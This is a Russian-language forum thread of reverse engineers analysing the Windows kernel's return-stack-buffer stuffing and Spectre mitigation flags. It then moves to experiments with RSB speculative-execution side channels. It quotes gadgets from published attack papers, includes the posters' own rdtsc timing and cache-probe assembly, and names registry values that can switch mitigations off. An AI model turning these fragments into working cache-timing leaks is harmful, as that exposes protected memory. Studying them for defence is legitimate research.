Абсолютно не причем findwindow, посмотри текстовик там. NtUserFindWindowEx это системный сервис, на стороне ядра все сервисы обрабатывает KiSystemCall64, тоесть это хэндлер после смены мода и в нём уже эта серия. Где в SDM найти как это следует использовать не знаю, в amd sdm только описание регистра без подробностей как его использовать.
Ну так вы сами начали говорить про А для вызовов 3 <--> 0 уже не используется механизм прерывания, чтобы как раз ускорить это действо. Там даже команды для этого ввели отдельные. И MSR предусмотрели, чтобы лишний раз не дергать GDT/LDT за сегментами 0 уровня.
> А для вызовов 3 <--> 0 уже не используется механизм прерывания Да причём тут переключения, в той теме шла речь про возвращаемое значение rcx, а оно из сервиса возвращается и соотв ядерного сервисного хэндлера. Я кстате глянул, это адрес возврата из сервиса.) Я же говорю что все шлюзы смены мода имеют одинаковый код - запись мср и серию calls. У интела этот регистр именуется A32_PRED_CMD. Если сгуглить находится интересная инфа. KVM: x86: expose CVE-2017-5715 ("Spectre variant 2") mitigations to guest И там что то про этот регистр: И вот ещё что то. --- Сообщение объединено, 2 май 2025 --- А вот и матчасть интела нашлась Speculative Execution Side Channel Mitigations
Почитаю эту инфу утром. Но у меня тут еще один вопрос появился по поводу этих вызовов. Если эта функция такая элементарная, тогда: А) почему её не вынесли в отдельную подфункцию и тем самым экономя место и несколько вызовов; Б) зачем же понадобилось дублировать столь длинный код. По поводу Б могу добавить, что обычно такие длинные куски кода дублируются для усложнения модификации и обхода какой-либо защиты. Но тут же просто линейный код без ветвлений. Хотя ветвления появляются, если начать задумываться о паразитных вычислениях. Ладно. Все остальное утром.
В общем ясно как выяснить зачем нужна серия. Общий в isr код: Код (Text): movzx edx, byte ptr gs:278h test edx, 2 jz L (call's) L: lfence ; opt. Код (Text): if [gs:278h].i1 (call's series) fi lfence Нужно выяснить от чего зависит маркер в gs:278h, откуда это значение вообще берётся. Не удивлюсь что из каких то системных текстовых конфигов, крайне интересно узнать. Ида не находит откуда загружается эта переменная и инструкцию записи связанную с константой 278. Тоесть эта переменная загружается не ядром.
В общем я посмотрел, похоже статик это не разобрать. Аналогичная серия есть в шедулере: Код (Text): .text:0000000140405D1E cli .text:0000000140405D1F movzx eax, byte ptr gs:851h .text:0000000140405D28 cmp gs:27Ah, al .text:0000000140405D30 jz short loc_140405D43 .text:0000000140405D32 mov gs:27Ah, al .text:0000000140405D3A mov ecx, 48h ; 'H' .text:0000000140405D3F xor edx, edx .text:0000000140405D41 wrmsr .text:0000000140405D43 .text:0000000140405D43 loc_140405D43: ; CODE XREF: SwapContext+1E0↑j .text:0000000140405D43 movzx edx, byte ptr gs:852h .text:0000000140405D4C test edx, 10h .text:0000000140405D52 jz short loc_140405D6B .text:0000000140405D54 mov eax, 1 .text:0000000140405D59 xor edx, edx .text:0000000140405D5B mov ecx, 49h ; 'I' .text:0000000140405D60 wrmsr .text:0000000140405D62 movzx edx, byte ptr gs:852h .text:0000000140405D6B .text:0000000140405D6B loc_140405D6B: ; CODE XREF: SwapContext+202↑j .text:0000000140405D6B test edx, 40h .text:0000000140405D71 jz loc_140405E9C .text:0000000140405D77 call loc_140405E8A .text:0000000140405D7C .text:0000000140405D7C loc_140405D7C: ; CODE XREF: SwapContext+239↓p .text:0000000140405D7C add rsp, 8 .text:0000000140405D80 call loc_140405E93 .text:0000000140405D85 .text:0000000140405D85 loc_140405D85: ; CODE XREF: SwapContext+242↓p .text:0000000140405D85 add rsp, 8 .text:0000000140405D89 call loc_140405D7C .text:0000000140405D8E .text:0000000140405D8E loc_140405D8E: ; CODE XREF: SwapContext+24B↓p .text:0000000140405D8E add rsp, 8 .text:0000000140405D92 call loc_140405D85 ISR gs:278h -> gs:852h gs:278h набор флагов, управляющих разными сериями. Явной загрузки gs:278h в ядре нет. Нашлась процедура PspSetProcessPpmPolicy напоминающая загрузку флагов, да и название намекает: Код (Text): PspSetProcessPpmPolicy: sub rsp, 28h mov r9, rcx shl edx, 7 prefetchw byte ptr [rcx+278h] loc_1406F5181: mov eax, [rcx+278h] mov r8d, eax and r8d, 0FFFFFC7Fh or r8d, edx lock cmpxchg [rcx+278h], r8d jnz short loc_1406F5181 cmp cs:KeNumberProcessorsGroup0+2, 0 jnz loc_140820AFA loc_1406F51AC: add rsp, 28h retn - используется смещение 278h и операция and-or, тоесть маска на флаги. Вызовы идут куда то в инит ядра, там по дизу не понятно. --- Сообщение объединено, 2 май 2025 --- Нагуглил ключи реестра, нашёлся даже скрипт. Здесь описаны ключи и сказано что мс давала описание, откуда они это взяли хз, это наверно какие то приваты. Код (Text): [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\FeatureSettingsOverride] “Spectre_Mitigation_ControlFlags”=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\FeatureSettingsOverride] “L1TF_Mitigation_ControlFlags”=dword:00000000 Этих строк нет в ntos и winload.
Код находится в критических обработчиках исключений ядра (KiRaiseSecurityCheckFailure, KiRaiseAssertion, KiDebugServiceTrap), которые активируются при нарушениях безопасности. Последовательные вызовы с постоянным изменением указателя стека (add rsp, 8) создают предсказуемый шаблон модификации стека, который может использоваться как "канарейка" для обнаружения его повреждения. В контексте запрещенных прерываний этот паттерн может служить для выявления определенных типов эксплойтов или аппаратных уязвимостей (например, Spectre/Meltdown или других side-channel атак).
sdm Стало понятно. Эта серия нужна для очистки буфера(return stack buffer). Макс размер - 32 записи, поэтому и call's тоже 32. --- Сообщение объединено, 7 май 2025 --- Пример кода атаки нашелся. --- Сообщение объединено, 7 май 2025 --- amd дока по защите.
Код (Text): .text:000000014040FCCF lfence .text:000000014040FCD2 test byte ptr gs:278h, 1 .text:000000014040FCDB jnz short loc_14040FCE5 .text:000000014040FCDD lfence .text:000000014040FCE0 jmp loc_14040FF3B .text:000000014040FCE5 ;
Выше ссылка на список спекул. атак от амд. Помню тут была тема по spectre, надо бы поискать. Вот только я сомневаюсь что rdtsc может замерять тайминг одной инструкции. Свапконтекст(reload cr3) можно скипнуть через восстановление сегментных регистров. --- Сообщение объединено, 10 май 2025 в 15:42 --- Аа я уже что то тестил, не начале кванта, но на большой статистике это не важно.
В доках про такие атаки индексация массива разная: Код (Text): 1: movzx (%rcx), %rax 2: shl $12, %rax 3: movq (%rbx ,%rax ,1) , %rbx Reinforcing Meltdown Attack by using a Return Stack Buffer Код (Text): 1. Function gadget() 2. { 3. push %rbp 4. mov %rsp, %rbp 5. pop %rdi //remove frame/return address 6. pop %rdi //from stack stopping at 7. pop %rdi //next return address 8. nop 9. pop %rbp 10. clflush (%rsp) //flush the return address 11. cpuid 12. retq //triggers speculative return to 17 13. } //committed return goes to 23 14. Function speculative(char *secret_ptr) 15. { 16. gadget(); //modify the Software stack 17. secret = *secret_ptr; //Speculative return here 18. temp &= Array[secret * 256]; //Access Array 19. } 20. Function main() 21. { 22. speculative(secret_address); 23. for (i = 1 to 256) //Actual return to here 24. { 25. t1 = rdtscp(); 26. junk = Array[i * 256]; //check cache hit 27. t2 = rdtscp(); 28. } 29. } Spectre Returns! Speculation Attacks using the Return Stack Buffer Код (Text): mov al , [ r15 + rax ] ; al = argN [ ADDRESS ] 6 shl eax , 12 ; eax = leaked byte 7 mov al , [ r15 + rax ] - не помню из какой доки. Правильно наверно *4k, тк страница кэшируется. Тогда размер массива 1M. Что бы провести замер тайминга следует взять хотя бы 32 итерации, те массив 32*256*4k = 32M, не особо много. Сработает ли несколько выборок ? Код (Text): Array[V * 4k] Array[V * 4k][1M] Array[V * 4k][2M] Array[V * 4k][3M] ... Тогда можно попытаться точно тайминг замерить из 32 выборок. Можно это сделать даже после прерывания(что бы исключить прерывание выборок) через seg_reg.RPL(seg = 0) -> 0. --- Сообщение объединено, 11 май 2025 в 01:57 --- Есть еще идея системным профайлером(ntstartprofile) замерить, он вернет счетчики по адресам цикла. Такое сработает ?
Так ведь фикс в ядре, а кодес юзер. --- Сообщение объединено, 11 май 2025 в 20:42 --- galenkane Выше амд док по защите, почти все методы - фикс юзер кода, eg: вставка lfence. Фикс ядра защищает лишь от нескольких атак.
Всё же дельта tsc на одной инструкции с выборкой значительна. Код (Text): Pages BYTE 1000h*256 dup (?) mov ebx,256 .repeat mov ecx,ebx shl ecx,12 mov ecx,D[Pages][ecx] ; paging ; clflush D[Pages][ecx] dec ebx .until Zero? invoke Sleep, 50 ; swapcontext: reload cr3 mov eax,16 [M]: index shl eax,12 mov ebx,D Pages[eax] ; +cache mov ebx,256 .repeat rdtsc mov esi,eax mov edi,edx mov ecx,ebx shl ecx,12 mov ecx,D Pages[ecx] rdtsc sub eax,esi sbb edx,edi mov D Tsc[0][ebx*8],eax ; dTSC mov D Tsc[4][ebx*8],edx dec ebx .until Zero? mov ebx,256 .repeat %DBG "dTSC 0x%X 0x%X", Ebx, D Tsc[0][ebx*8] dec ebx .until Zero? Такие конструкции тайминг не изменяют, те ничего не кэшируется, никакой спекуляции: Код (Text): call L1 lea ecx,Buffer movzx eax,B[ecx] shl eax,12 mov ebx,D Pages[eax] L1: lea esi,Meas mov D[esp],esi retn - push offset Meas call L1 lea ecx,Buffer movzx eax,B[ecx] shl eax,12 mov ebx,D Pages[eax] L1: pop eax retn - xor eax,eax inc eax jz L1 nop jmp L2 L1: lea ecx,Buffer movzx eax,B[ecx] shl eax,12 mov ebx,D Pages[eax] L2: Если все адреса начальные закэшировать, получается такое: Процик cpuid(1).Eax = 0x00610F31 AMD Family 15h Models 00h-0Fh падающий при трассировке.) --- Сообщение объединено, 12 май 2025 в 16:46 --- Тайминг по свапконтексту и прерываниям, dtsc/1s ~ 0x7ECxxxxx. Код (Text): Test2: xor ebx,ebx mov fs,bx .repeat rdtsc mov esi,eax mov edi,edx mov bx,fs .until Ebx rdtsc sub eax,esi sbb edx,edi .if Eax > 50h %DBG "dTSC 0x%X", Eax .endif jmp Test2 Test5: mov ebx,11B mov fs,bx .repeat rdtsc mov esi,eax mov edi,edx mov bx,fs cmp ebx,53h je Test5 .until !Ebx rdtsc sub eax,esi sbb edx,edi mov bx,53h mov fs,bx .if Eax > 50h %DBG "dTSC 0x%X", Eax .endif jmp Test5
В общем работает rsb-спекуляция: В семпле сохраняется dtsc в буфер, поведение зависит от его выравнивания, не понято как. Это не страничный фаулт(подкачка). AMD64 Family 21 Model 19 Stepping 1(AMD A8-5550M) Update Revision: 1F 11 00 06 Prev upd.: 19 11 00 06 - так понимаю это обновы микрокода ?
Как по мне такие проектики сложно кодить. Вот пытался CVE-2024-45332 сделать, ничего не вышло. --- Сообщение объединено, 14 май 2025 в 23:42 --- Связанные CVE: CVE-2018-15572: SpectreRSB - спекулятивное исполнение через RSB CVE-2019-1125: Атаки через SWAPGS использующие спекуляцию